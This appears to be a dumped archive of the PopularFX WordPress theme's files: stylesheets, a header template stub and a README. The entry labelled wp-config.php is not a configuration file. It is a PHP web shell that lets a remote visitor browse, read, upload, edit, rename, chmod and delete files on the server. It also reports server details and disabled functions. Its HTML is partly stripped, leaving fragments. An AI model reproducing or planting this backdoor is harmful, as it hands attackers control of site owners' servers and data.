0 7.6923% 3.5em; background-color:#ffffff; padding:20px 40px; } .comment-list + .comment-respond, .comment-navigation + .comment-respond { padding-top: 1.75em; } .comments-title, .comment-reply-title { font-size: 23px; font-size: 1.4375rem; font-weight: 500; line-height: 1.3125; } .comments-title { margin-bottom: 1.217391304em; } .comment-list { list-style: none; margin: 0; padding:0; } .comment-list article, .comment-list .pingback, .comment-list .trackback { border-top: 1px solid #212121; padding: 1.75em 0; } .comment-list .children { list-style: none; margin: 0; } .comment-list .children > li { padding-left: 0.875em; } .comment-author { color: #1a1a1a; } .vcard .fn a{ color:#171717; text-transform:capitalize; font-size: 18px; font-weight: 500; text-decoration: none; } .comment-author .avatar { float: left; height: 40px; margin-right: 0.875em; position: relative; width: 40px; } .comment-metadata { font-size: 13px; font-size: 0.8125rem; line-height: 1.6153846154; } .comment-metadata { margin-bottom: 10px; display:inline-block; } .comment-metadata a:hover, .comment-metadata a:focus { } .comment-metadata .edit-link { display: inline-block; } .comment-metadata .edit-link:before { content: "\002f"; display: inline-block; opacity: 0.7; padding: 0 0.538461538em; } .comment-content{ font-size:16px; font-weight:100; line-height:1.8; } .comment-content ul, .comment-content ol { margin: 0 0 1.5em 1.25em; } .comment-content li > ul, .comment-content li > ol { margin-bottom: 0; } .comment-reply-link { border-radius: 2px; color: #ffffff; background-color:#2196f3; display: inline-block; font-size: 13px; font-size: 0.8125rem; line-height: 1; padding: 10px 20px; text-decoration:none; border: unset; } .comment-reply-link:hover, .comment-reply-link:focus { border-color: currentColor; color: #ffffff; outline: 0; } .comment-form { /*padding-top: 1.75em;*/ } .comment-form label { display: block; font-size: 13px; font-size: 0.8125rem; letter-spacing: 0.076923077em; line-height: 1.6153846154; margin-bottom: 0.5384615385em; text-transform: uppercase; } .comment-list .comment-form { padding-bottom: 1.75em; } .comment-notes, .comment-awaiting-moderation{ font-size: 13px; font-size: 0.8125rem; line-height: 1.6153846154; margin-bottom: 2.1538461538em; } .no-comments { border-top: 1px solid #d1d1d1; font-weight: 700; margin: 0; padding-top: 1.75em; } .comment-navigation + .no-comments { border-top: 0; padding-top: 0; } .comment-reply-title small { font-size: 100%; } .comment-reply-title small a { border: 0; height: 40px; font-size: 14px; overflow: hidden; width: 90px; margin-left: 10px; text-decoration:none; font-weight:400; } .comment-reply-title small a:hover, .comment-reply-title small a:focus { } .comment-form-comment{ margin-bottom: 1.5em; } .comment-form-comment textarea{ background-color:#f5f5f5; color: #666; border: 1px solid #ccc; border-radius: 3px; padding: 3px; width: 100%; } .bypostauthor{ display: block; } .says{ display:none; } .comment-respond a, .comment-metadata a{ text-decoration:none; color: #4169e1; } .comment-respond .form-submit .submit{ background-color: #2196f3; color: #fff; font-weight: 500; padding: 8px 13px; border: none; border-radius: 3px; } /* Image Navigation */ /*-------------------------------------------------------------- # Sidebar --------------------------------------------------------------*/ @media all and (max-width:768px){ main, .pagelayer-content{ width: 100% !important; } .widget-area{ width:50%; float:none; margin:30px; display:block; } } @media all and (max-width:599px){ main, .pagelayer-content{ width: 100% !important; } .widget-area{ width:auto !important; float:none; margin:15px; display:block; } } /* SitePad Posts CSS End */ header.php000064400000003611152507063360006515 0ustar00 section and everything up until
    * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package PopularFX */ ?> > >
    style-rtl.css000064400000071060152507063360007230 0ustar00/*! Theme Name: PopularFX Theme URI: https://popularfx.com Author: Pagelayer Author URI: https://pagelayer.com Description: Lightweight theme to make beautiful websites with Pagelayer. Includes 100s of pre-made templates to design your dream website ! Version: 1.2.6 License: LGPL v2.1 License URI: LICENSE Text Domain: popularfx Tags: custom-background, custom-logo, custom-menu, featured-images, threaded-comments, translation-ready, entertainment, full-width-template, one-column, two-columns, left-sidebar, e-commerce, right-sidebar, microformats, post-formats, theme-options, blog, rtl-language-support Tested up to: 6.0 Requires PHP: 5.5 This theme is licensed under the LGPL v2.1. Normalizing styles have been helped along thanks to the fine work of Nicolas Gallagher and Jonathan Neal https://necolas.github.io/normalize.css/ */ /*-------------------------------------------------------------- >>> TABLE OF CONTENTS: ---------------------------------------------------------------- # Normalize # Typography # Elements # Forms # Navigation ## Links ## Menus # Accessibility # Alignments # Widgets # Content ## Posts and pages ## Comments # Infinite scroll # Media ## Captions ## Galleries --------------------------------------------------------------*/ /*-------------------------------------------------------------- # Normalize --------------------------------------------------------------*/ /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ /* Document ========================================================================== */ /** * 1. Correct the line height in all browsers. * 2. Prevent adjustments of font size after orientation changes in iOS. */ html { line-height: 1.15; -webkit-text-size-adjust: 100%; } /* Sections ========================================================================== */ /** * Remove the margin in all browsers. */ body { margin: 0; } /** * Render the `main` element consistently in IE. */ main { display: block; } /** * Correct the font size and margin on `h1` elements within `section` and * `article` contexts in Chrome, Firefox, and Safari. */ h1 { font-size: 2em; margin: 0.67em 0; } /* Grouping content ========================================================================== */ /** * 1. Add the correct box sizing in Firefox. * 2. Show the overflow in Edge and IE. */ hr { box-sizing: content-box; height: 0; overflow: visible; } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ pre { font-family: monospace, monospace; font-size: 1em; } /* Text-level semantics ========================================================================== */ /** * Remove the gray background on active links in IE 10. */ a { background-color: transparent; } /** * 1. Remove the bottom border in Chrome 57- * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. */ abbr[title] { border-bottom: none; text-decoration: underline; text-decoration: underline dotted; } /** * Add the correct font weight in Chrome, Edge, and Safari. */ b, strong { font-weight: bolder; } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ code, kbd, samp { font-family: monospace, monospace; font-size: 1em; } /** * Add the correct font size in all browsers. */ small { font-size: 80%; } /** * Prevent `sub` and `sup` elements from affecting the line height in * all browsers. */ sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sub { bottom: -0.25em; } sup { top: -0.5em; } /* Embedded content ========================================================================== */ /** * Remove the border on images inside links in IE 10. */ img { border-style: none; } /* Forms ========================================================================== */ /** * 1. Change the font styles in all browsers. * 2. Remove the margin in Firefox and Safari. */ button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } /** * Show the overflow in IE. * 1. Show the overflow in Edge. */ button, input { overflow: visible; } /** * Remove the inheritance of text transform in Edge, Firefox, and IE. * 1. Remove the inheritance of text transform in Firefox. */ button, select { text-transform: none; } /** * Correct the inability to style clickable types in iOS and Safari. */ button, [type="button"], [type="reset"], [type="submit"] { -webkit-appearance: button; } /** * Remove the inner border and padding in Firefox. */ button::-moz-focus-inner, [type="button"]::-moz-focus-inner, [type="reset"]::-moz-focus-inner, [type="submit"]::-moz-focus-inner { border-style: none; padding: 0; } /** * Restore the focus styles unset by the previous rule. */ button:-moz-focusring, [type="button"]:-moz-focusring, [type="reset"]:-moz-focusring, [type="submit"]:-moz-focusring { outline: 1px dotted ButtonText; } /** * Correct the padding in Firefox. */ fieldset { padding: 0.35em 0.75em 0.625em; } /** * 1. Correct the text wrapping in Edge and IE. * 2. Correct the color inheritance from `fieldset` elements in IE. * 3. Remove the padding so developers are not caught out when they zero out * `fieldset` elements in all browsers. */ legend { box-sizing: border-box; color: inherit; display: table; max-width: 100%; padding: 0; white-space: normal; } /** * Add the correct vertical alignment in Chrome, Firefox, and Opera. */ progress { vertical-align: baseline; } /** * Remove the default vertical scrollbar in IE 10+. */ textarea { overflow: auto; } /** * 1. Add the correct box sizing in IE 10. * 2. Remove the padding in IE 10. */ [type="checkbox"], [type="radio"] { box-sizing: border-box; padding: 0; } /** * Correct the cursor style of increment and decrement buttons in Chrome. */ [type="number"]::-webkit-inner-spin-button, [type="number"]::-webkit-outer-spin-button { height: auto; } /** * 1. Correct the odd appearance in Chrome and Safari. * 2. Correct the outline style in Safari. */ [type="search"] { -webkit-appearance: textfield; outline-offset: -2px; } /** * Remove the inner padding in Chrome and Safari on macOS. */ [type="search"]::-webkit-search-decoration { -webkit-appearance: none; } /** * 1. Correct the inability to style clickable types in iOS and Safari. * 2. Change font properties to `inherit` in Safari. */ ::-webkit-file-upload-button { -webkit-appearance: button; font: inherit; } /* Interactive ========================================================================== */ /* * Add the correct display in Edge, IE 10+, and Firefox. */ details { display: block; } /* * Add the correct display in all browsers. */ summary { display: list-item; } /* Misc ========================================================================== */ /** * Add the correct display in IE 10+. */ template { display: none; } /** * Add the correct display in IE 10. */ [hidden] { display: none; } /*-------------------------------------------------------------- # Typography --------------------------------------------------------------*/ body, button, input, select, optgroup, textarea { color: #404040; font-family: "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 1rem; line-height: 1.5; } h1, h2, h3, h4, h5, h6 { clear: both; } p { margin-bottom: 1.5em; } dfn, cite, em, i { font-style: italic; } blockquote { margin: 0 1.5em; } address { margin: 0 0 1.5em; } pre { background: #eee; font-family: "Courier 10 Pitch", courier, monospace; font-size: 0.9375rem; line-height: 1.6; margin-bottom: 1.6em; max-width: 100%; overflow: auto; padding: 1.6em; } code, kbd, tt, var { font-family: monaco, consolas, "Andale Mono", "DejaVu Sans Mono", monospace; font-size: 0.9375rem; } abbr, acronym { border-bottom: 1px dotted #666; cursor: help; } mark, ins { background: #fff9c0; text-decoration: none; } big { font-size: 125%; } /*-------------------------------------------------------------- # Elements --------------------------------------------------------------*/ /* Inherit box-sizing to more easily change it's value on a component level. @link http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/ */ *, *::before, *::after { box-sizing: inherit; } html { box-sizing: border-box; } body { background-color:#f5f5f5; } hr { background-color: #ccc; border: 0; height: 1px; margin-bottom: 1.5em; } ul, ol { margin: 0 3em 1.5em 0; } ul { list-style: disc; } ol { list-style: decimal; } li > ul, li > ol { margin-bottom: 0; margin-right: 1.5em; } dt { font-weight: 700; } dd { margin: 0 1.5em 1.5em; } img { height: auto; max-width: 100%; } figure { margin: 1em 0; } table { margin: 0 0 1.5em; width: 100%; } /*-------------------------------------------------------------- # Forms --------------------------------------------------------------*/ button, input[type="button"], input[type="reset"], input[type="submit"] { border: 1px solid; border-color: #ccc #ccc #bbb; border-radius: 3px; background: #e6e6e6; color: rgba(0, 0, 0, 0.8); font-size: 0.75rem; line-height: 1; padding: 0.6em 1em 0.4em; } button:hover, input[type="button"]:hover, input[type="reset"]:hover, input[type="submit"]:hover { border-color: #ccc #bbb #aaa; } button:active, button:focus, input[type="button"]:active, input[type="button"]:focus, input[type="reset"]:active, input[type="reset"]:focus, input[type="submit"]:active, input[type="submit"]:focus { border-color: #aaa #bbb #bbb; } input[type="text"], input[type="email"], input[type="url"], input[type="password"], input[type="search"], input[type="number"], input[type="tel"], input[type="range"], input[type="date"], input[type="month"], input[type="week"], input[type="time"], input[type="datetime"], input[type="datetime-local"], input[type="color"], textarea { color: #666; border: 1px solid #ccc; border-radius: 3px; padding: 3px; } input[type="text"]:focus, input[type="email"]:focus, input[type="url"]:focus, input[type="password"]:focus, input[type="search"]:focus, input[type="number"]:focus, input[type="tel"]:focus, input[type="range"]:focus, input[type="date"]:focus, input[type="month"]:focus, input[type="week"]:focus, input[type="time"]:focus, input[type="datetime"]:focus, input[type="datetime-local"]:focus, input[type="color"]:focus, textarea:focus { color: #111; } select { border: 1px solid #ccc; } textarea { width: 100%; } /*-------------------------------------------------------------- # Navigation --------------------------------------------------------------*/ /*-------------------------------------------------------------- ## Links --------------------------------------------------------------*/ a { color: #4169e1; text-decoration: none; } a:visited { color: #800080; } a:hover, a:focus, a:active{ color:#2196f3; } a:focus { outline: thin dotted; } a:hover, a:active { outline: 0; } /*-------------------------------------------------------------- ## Menus --------------------------------------------------------------*/ .site-header{ background-color:#ffffff; border-bottom: 1px solid #eaeaea; position:relative; margin-right: auto; margin-left: auto; padding: 0% 4%; width: 100%; } .site-branding{ display:inline-block; padding:10px; width: 30%; } .site-title{ font-size:30px; font-weight:500; color:#212121; margin:0px; } .site-title a{ font-weight:500; color:#212121; text-decoration:none; text-transform:capitalize; } .site-description{ margin: 1px; } .main-navigation { margin: 15px 0px; padding: 0; display:inline-block; width: 68%; vertical-align: top; text-align: left; } .main-navigation .menu-item-has-children > ul{ position: absolute; border: 1px solid #dfdfdf; position: absolute; top: -1000px; } .main-navigation ul { min-width: 150px; margin: 0; padding: 0; list-style: none; } .main-navigation li { display: inline-block; position: relative; text-align: right; } .main-navigation li.focus > ul, .main-navigation li:hover > ul { top: auto; right: auto; } .main-navigation li li { display: block; } .main-navigation li li.focus > ul, .main-navigation li li:hover > ul { right: 100%; top: 0; } .main-navigation a { color: #000; text-decoration: none; display: block; white-space: nowrap; padding: 10px 15px; } .main-navigation a:hover, .main-navigation li:hover > a, .main-navigation .current-menu-item > a, .main-navigation .current-menu-ancestor > a { color: #0072b7; } .main-navigation .menu-item-has-children > a::before { content: ""; position: absolute; left: 0; top: 50%; transform: translateY(-50%); border: 4px solid transparent; border-top-color: currentColor; } .main-navigation ul .menu-item-has-children > a::before { left: 2px; border-top-color: transparent; border-right-color: currentColor; } .main-navigation .menu-item-has-children .sub-menu{ background: #fff; } /* Small menu. */ .menu-toggle, .main-navigation.toggled ul { display: block; } @media screen and (min-width: 37.5em) { .menu-toggle { display: none; } } .site-main .comment-navigation, .site-main .posts-navigation, .site-main .post-navigation { margin: 0 0 1.5em; } .comment-navigation .nav-links, .posts-navigation .nav-links, .post-navigation .nav-links { display: flex; } .comment-navigation .nav-previous, .posts-navigation .nav-previous, .post-navigation .nav-previous { flex: 1 0 50%; } .comment-navigation .nav-next, .posts-navigation .nav-next, .post-navigation .nav-next { text-align: end; flex: 1 0 50%; } /*-------------------------------------------------------------- # Accessibility --------------------------------------------------------------*/ /* Text meant only for screen readers. */ .screen-reader-text { border: 0; clip: rect(1px, 1px, 1px, 1px); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute !important; width: 1px; word-wrap: normal !important; } .screen-reader-text:focus { background-color: #f1f1f1; border-radius: 3px; box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6); clip: auto !important; clip-path: none; color: #21759b; display: block; font-size: 0.875rem; font-weight: 700; height: auto; right: 5px; line-height: normal; padding: 15px 23px 14px; text-decoration: none; top: 5px; width: auto; z-index: 100000; } /* Do not show the outline on the skip link target. */ #primary[tabindex="-1"]:focus { outline: 0; } /*-------------------------------------------------------------- # Alignments --------------------------------------------------------------*/ .alignleft { float: right; margin-left: 1.5em; margin-bottom: 1.5em; } .alignright { float: left; margin-right: 1.5em; margin-bottom: 1.5em; } .aligncenter { clear: both; display: block; margin-right: auto; margin-left: auto; margin-bottom: 1.5em; } /*-------------------------------------------------------------- # Widgets --------------------------------------------------------------*/ .widget { margin: 0 0 1.5em; } .widget select { max-width: 100%; } .widget-area{ display:inline-block; background-color:#ffffff; padding:25px; margin-top:30px; border: 1px solid #eaeaea; box-shadow: 0px 5px 30px 0 #0000001a; } .widget-title{ font-size:20px; font-weight: 500; text-decoration: none; color: #4d4d4d; margin: 8px 0px; } .widget ul, .widget ol{ margin-right:0px; } .widget li a{ text-decoration:none; color:#212121; font-size:14px; line-height:1.8; } .widget li a:hover{ color:#2196f3; } .widget_calendar table, .widget_calendar td, .widget_calendar th { padding: 0; text-align: center; border-spacing:0; } .widget_calendar td { border-left: none; border-right: none; } .widget_calendar .widget-title{ text-transform:capitalize; } .widget_calendar .wp-calendar-table caption{ margin:10px 0px; } .widget_calendar .wp-calendar-table tr td{ text-decoration:none; border-bottom:1px solid #e0e0e0; padding:5px; } .widget_calendar .wp-calendar-table tr th{ text-decoration:none; border-top:1px solid #e0e0e0; border-bottom:1px solid #e0e0e0; padding:5px; } .widget_calendar .wp-calendar-table td a{ text-decoration:none; } /*-------------------------------------------------------------- # Content --------------------------------------------------------------*/ /*-------------------------------------------------------------- ## Posts and pages --------------------------------------------------------------*/ .sticky { display: block; } .post, .page { margin: 0; } .updated:not(.published) { display: none; } .page-content, .entry-content, .entry-summary { margin: 1.5em 0 0; } .page-links { clear: both; margin: 0 0 1.5em; } .site-main{ height: auto; vertical-align: top; margin:0px auto; width:100%; } .article{ background-color:#ffffff; padding:25px; margin:30px; border: 1px solid #eaeaea; box-shadow: 0px 5px 30px 0 #0000001a; } .article .cat-links, .article .comments-link, .article .edit-link, .article .tags-links{ margin:0px 10px 0px 0px; text-decoration:underline; } .article .post-thumbnail img{ margin-top:20px; } .nav-links{ margin:0px 30px; } .nav-links a{ text-decoration:none; } .entry-title{ margin:5px 0px; font-weight:500; } .entry-title a{ font-weight: 500; text-decoration: none; color: #4d4d4d; } .entry-title a:hover, .entry-title a:focus, .entry-title a:active{ color:#2196f3; } .entry-content{ font-size:16px; line-height:1.8; margin-top:0px; } .site{ background-color: transparent; } .site-footer{ background-color:#171717; padding:40px 0px; text-align:center; margin-top:60px; color:#ffffff; clear: both; } .site-info a{ color:#ffffff; text-decoration:none; } .site-info a:hover{ color:#2196f3; text-decoration:none; } .wp-block-quote{ margin: 10px 40px 10px 10px; padding: 15px 20px 15px 15px; border-right: 5px solid #e0e0e0; font-style:italic; } .error-404{ background-color:#ffffff; padding:25px; margin:40px; border: 1px solid #eaeaea; box-shadow: 0px 5px 30px 0 #0000001a; text-align:center; } .error-code{ font-size:150px; margin:0px; font-weight:500; } .error-404 .widget_recent_entries, .error-404 .widget_categories, .error-404 .widget_archive{ width:33%; display:inline-block; vertical-align:top; margin-top:5%; } .error-404 .widget_recent_entries ul, .error-404 .widget_categories ul{ list-style-type:none; padding-right:0px; } .widget_recent_entries .widgettitle, .widget_categories .widgettitle, .widget_archive .widgettitle{ font-size: 22px; font-weight: 600; text-decoration: none; color: #4d4d4d; margin: 8px 0px; } .widget_archive select{ max-width: 100%; width: 200px; border-radius: 4px; padding: 5px 10px; height: 40px; } .error-404 .search-field{ display: block; margin: 0 auto; width: 350px; padding: 10px; border-radius: 4px; } .error-404 .search-submit{ font-size:16px; padding: 10px 25px; margin-top: 10px; } /*-------------------------------------------------------------- ## Comments --------------------------------------------------------------*/ .comments-area { margin: 0 7.6923% 3.5em; background-color:#ffffff; padding:20px 40px; } .comment-list + .comment-respond, .comment-navigation + .comment-respond { padding-top: 1.75em; } .comments-title, .comment-reply-title { font-size: 23px; font-size: 1.4375rem; font-weight: 500; line-height: 1.3125; } .comments-title { margin-bottom: 1.217391304em; } .comment-list { list-style: none; margin: 0; padding:0; } .comment-list article, .comment-list .pingback, .comment-list .trackback { border-top: 1px solid #212121; padding: 1.75em 0; } .comment-list .children { list-style: none; margin: 0; } .comment-list .children > li { padding-right: 0.875em; } .comment-author { color: #1a1a1a; } .vcard .fn a{ color:#171717; text-transform:capitalize; font-size: 18px; font-weight: 500; text-decoration: none; } .comment-author .avatar { float: right; height: 40px; margin-left: 0.875em; position: relative; width: 40px; } .comment-metadata { font-size: 13px; font-size: 0.8125rem; line-height: 1.6153846154; } .comment-metadata { margin-bottom: 10px; display:inline-block; } .comment-metadata a { text-decoration:underline; } .comment-metadata a:hover, .comment-metadata a:focus { } .comment-metadata .edit-link { display: inline-block; } .comment-metadata .edit-link:before { content: "\002f"; display: inline-block; opacity: 0.7; padding: 0 0.538461538em; } .comment-content{ font-size:16px; font-weight:100; line-height:1.8; } .comment-content ul, .comment-content ol { margin: 0 1.25em 1.5em 0; } .comment-content li > ul, .comment-content li > ol { margin-bottom: 0; } .comment-reply-link { border-radius: 2px; color: #ffffff; background-color:#2196f3; display: inline-block; font-size: 13px; font-size: 0.8125rem; line-height: 1; padding: 10px 20px; text-decoration:underline; } .comment-reply-link:hover, .comment-reply-link:focus { border-color: currentColor; color: #ffffff; outline: 0; } .comment-form { /*padding-top: 1.75em;*/ } .comment-form label { display: block; font-size: 13px; font-size: 0.8125rem; letter-spacing: 0.076923077em; line-height: 1.6153846154; margin-bottom: 0.5384615385em; text-transform: uppercase; } .comment-list .comment-form { padding-bottom: 1.75em; } .comment-notes, .comment-awaiting-moderation{ font-size: 13px; font-size: 0.8125rem; line-height: 1.6153846154; margin-bottom: 2.1538461538em; } .no-comments { border-top: 1px solid #d1d1d1; font-weight: 700; margin: 0; padding-top: 1.75em; } .comment-navigation + .no-comments { border-top: 0; padding-top: 0; } .comment-reply-title small { font-size: 100%; } .comment-reply-title small a { border: 0; height: 40px; font-size: 14px; overflow: hidden; width: 90px; margin-right: 10px; text-decoration:none; font-weight:400; } .comment-reply-title small a:hover, .comment-reply-title small a:focus { } .comment-form-comment textarea{ background-color:#f5f5f5; } .bypostauthor{ display: block; } .says{ display:none; } .form-submit .submit{ background-color: #2196f3; color: #fff; font-weight: 500; padding: 14px 13px; border:none; } input.search-field{ border: 1px solid #eaeaea; width: auto; font-size: 16px; padding: 8px; } input.search-submit{ background-color: #2196f3; color: #fff; font-weight: 500; padding: 14px 13px; vertical-align: middle; border:none; margin-top:5px; cursor: pointer; } /*-------------------------------------------------------------- # Infinite scroll --------------------------------------------------------------*/ /* Hide the Posts Navigation and the Footer when Infinite Scroll is in use. */ .infinite-scroll .posts-navigation, .infinite-scroll.neverending .site-footer { display: none; } /* Re-display the Theme Footer when Infinite Scroll has reached its end. */ .infinity-end.neverending .site-footer { display: block; } /*-------------------------------------------------------------- # Media --------------------------------------------------------------*/ .page-content .wp-smiley, .entry-content .wp-smiley, .comment-content .wp-smiley { border: none; margin-bottom: 0; margin-top: 0; padding: 0; } /* Make sure embeds and iframes fit their containers. */ embed, iframe, object { max-width: 100%; } /* Make sure logo link wraps around logo image. */ .custom-logo-link { display: inline-block; float:right; margin-left: 14px; } /*-------------------------------------------------------------- ## Captions --------------------------------------------------------------*/ .wp-caption { margin-bottom: 1.5em; max-width: 100%; } .wp-caption img[class*="wp-image-"] { display: block; margin-right: auto; margin-left: auto; } .wp-caption .wp-caption-text { margin: 0.8075em 0; } .wp-caption-text { text-align: center; } /*-------------------------------------------------------------- ## Galleries --------------------------------------------------------------*/ .gallery { margin-bottom: 1.5em; display: grid; grid-gap: 1.5em; } .gallery-item { display: inline-block; text-align: center; width: 100%; } .gallery-columns-2 { grid-template-columns: repeat(2, 1fr); } .gallery-columns-3 { grid-template-columns: repeat(3, 1fr); } .gallery-columns-4 { grid-template-columns: repeat(4, 1fr); } .gallery-columns-5 { grid-template-columns: repeat(5, 1fr); } .gallery-columns-6 { grid-template-columns: repeat(6, 1fr); } .gallery-columns-7 { grid-template-columns: repeat(7, 1fr); } .gallery-columns-8 { grid-template-columns: repeat(8, 1fr); } .gallery-columns-9 { grid-template-columns: repeat(9, 1fr); } .gallery-caption { display: block; } /*-------------------------------------------------------------- # Woocoomerce --------------------------------------------------------------*/ .woocommerce-MyAccount-navigation ul{ list-style-type:none; margin:0px; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link{ padding: 10px 20px; border-bottom: 1px solid #616161; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link a{ color:#000000; text-decoration:none; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active{ background-color:#2196f3; } .woocommerce-MyAccount-navigation ul li.woocommerce-MyAccount-navigation-link.is-active a{ color:#ffffff; } .woocommerce-account .woocommerce-MyAccount-content{ padding:30px; } .woocommerce form .form-row input.input-text{ padding:15px; height:40px; } .woocommerce #respond input#submit, .woocommerce a.button, .woocommerce button.button, .woocommerce input.button{ color: #ffffff; background-color: #2196f3; font-weight:500; font-family:inherit; padding:10px 20px; } .woocommerce #respond input#submit:hover, .woocommerce a.button:hover, .woocommerce button.button:hover, .woocommerce input.button:hover{ color: #ffffff; background-color: #1976d2; } .woocommerce-Address-title h3{ font-weight:600; text-transform:Capitalize; } .woocommerce-account .addresses .title .edit{ text-decoration:none; } /*-------------------------------------------------------------- # Media Queries --------------------------------------------------------------*/ @media all and (max-width:768px){ .site-header{ padding:0px; } .site-branding{ width: 75%; } .menu-toggle{ display:inline-block; float:left; position: relative; top: 25px; left:20px; } .main-navigation{ float:none; display:block; background-color:#fafafa; padding: 0px; width: 100%; } .main-navigation ul{ display:block; } .main-navigation li{ display: block; } .main-navigation .menu-item-has-children:active > ul, .main-navigation .menu-item-has-children:hover > ul, .main-navigation .menu-item-has-children.focus > ul{ position: relative !important; display: block; margin-right: 20px; border-right: 0px; right: unset; } .main-navigation .menu-item-has-children .sub-menu{ background-color: initial; } .main-navigation ul .menu-item-has-children > a::before { left: 0px; top: 0px; transform: unset; content: "\25B6"; border-top-color: transparent; border-right-color: currentColor; width: 60px; padding-right: 20px; display: block; height: 100%; padding-top: 15px; border: unset; pointer-events: none; z-index: 10000; } .hidden-mobile{ display:none !important; } .menu .page_item a, .menu .menu-item a{ font-size:18px; padding: 15px 20px; border-bottom: 1px solid #eaeaea; } .site-main{ width:100% !important; padding-right: 10px; padding-left: 10px; } main, .pagelayer-content{ width: 100% !important; } .widget-area{ width:50%; float:none; margin:30px; display:block; } .site-footer{ padding:40px 15px; } input.search-submit{ margin-top:0px; } .comments-area{ padding:25px; margin: 30px 15px 15px; } .woocommerce-MyAccount-navigation ul{ padding-right:0px; } .woocommerce-account .woocommerce-MyAccount-content{ padding:30px 0px 0px; } .error-404 .widget_recent_entries, .error-404 .widget_categories, .error-404 .widget_archive{ width:100%; display:inline-block; vertical-align:top; } } @media all and (max-width:599px){ main, .pagelayer-content{ width: 100% !important; } .widget-area{ width:auto !important; float:none; margin:15px; display:block; } .article{ margin: 30px 15px 15px; } .comments-area{ padding:25px; margin: 30px 15px 15px; } .comment-reply-title small a{ display:block; margin-top:5px; margin-right:0px; } .site-footer{ padding:40px 15px; } input.search-submit{ margin-top:0px; } .error-404{ margin:20px; } .error-code{ font-size:100px; } .error-404 .search-field{ width:100%; } } wp-config.php000064400000067374152507063360007176 0ustar00 HEX
    HEX
    NONE"; } else { $disf = "".$disfunc.""; } function author() { echo ''; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "writable"; } else { return "readonly"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "writable"; } else { return "readonly"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
    ".$text."
    "; } function red($text) { echo "
    ".$text."
    "; } ?>
    Server:
    System:
    User:
    PHP:
    Disabled:
    Upload Files
    "; echo "
    File: ".$_GET['fileloc']."
    "; echo "
    ".htmlspecialchars(file_get_contents($_GET['fileloc']))."
    "; echo "
    "; author(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete directory"); } else { green("Directory deleted"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete file"); } else { green("File deleted"); } } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { echo "
    "; echo "
    chmod ".$_POST['path']."
    "; echo '
    '; if (isset($_POST['chm0d'])) { $cm = @chmod($_POST['path'], $_POST['perm']); if ($cm == true) { green("Permission changed"); } else { red("Permission change failed"); } } echo "
    "; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Renamed successfully"); } else { red("Rename failed"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
    "; echo "
    mv ".$_POST['path']."
    "; echo '
    '; echo "
    "; } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @file_put_contents($_POST['path'], $_POST['src']); if ($edit == true) { green("File saved"); } else { red("Save failed"); } } echo "
    "; echo "
    nano ".$_POST['path']."
    "; echo '
    '; echo "
    "; } ?>
    "; } foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).'M'; } else { $size = $size.'K'; } echo ""; } ?>
    Name Size Permissions Actions
    📁 ".$dir." -- ".statusnya($lokasi."/".$dir)."
    📄 $file ".$size." ".statusnya("$lokasi/$file")."
    README.md000064400000001010152507063360006022 0ustar00popularfx === This is a starter theme called `popularfx`. PopularFX is a very light weight theme meant for making beautiful websites with Pagelayer. Try turning this theme into the next, most awesome, WordPress theme / website out there ! * Licensed under LGPLv2.1 :) Use it to make something cool ! Installation --------------- ### Requirements `popularfx` requires the following dependencies: - [Pagelayer](https://pagelayer.com/) - [WordPress](https://wordpress.org/) ### Quick Start Just install and activatecustomizer.css000064400000013632152507063360007476 0ustar00/* CSS for Customizer Custom Controls */ .popularfx-edit-link{ display: block; border:1px solid #ccc; border-bottom:0px solid #ccc; padding: 8px; font-size: 14px; font-weight: 600; font-style: normal; text-decoration: none; background: #fff; } .popularfx-edit-link:last-of-type{ margin-bottom: 30px; border-bottom:1px solid #ccc; } .popularfx-edit-link:hover{ background: #efefef; } /* Standard Selection */ #customize-control-popularfx_sidebar_default{ border-bottom: 1px double #ccc; padding-bottom: 15px; } #accordion-section-popularfx_pro_link, #accordion-section-no_pagelayer { background: #fff; font-size: 13px; font-weight: 600; text-align: right; } #accordion-section-no_pagelayer{ background: #FF0000; } #accordion-section-popularfx_pro_link a, #accordion-section-no_pagelayer a{ padding:10px; display: block; text-decoration: none; text-align: left; } #accordion-section-no_pagelayer a{ color: #FFEDD3; } #accordion-section-popularfx_pro_link a span, #accordion-section-no_pagelayer a span{ 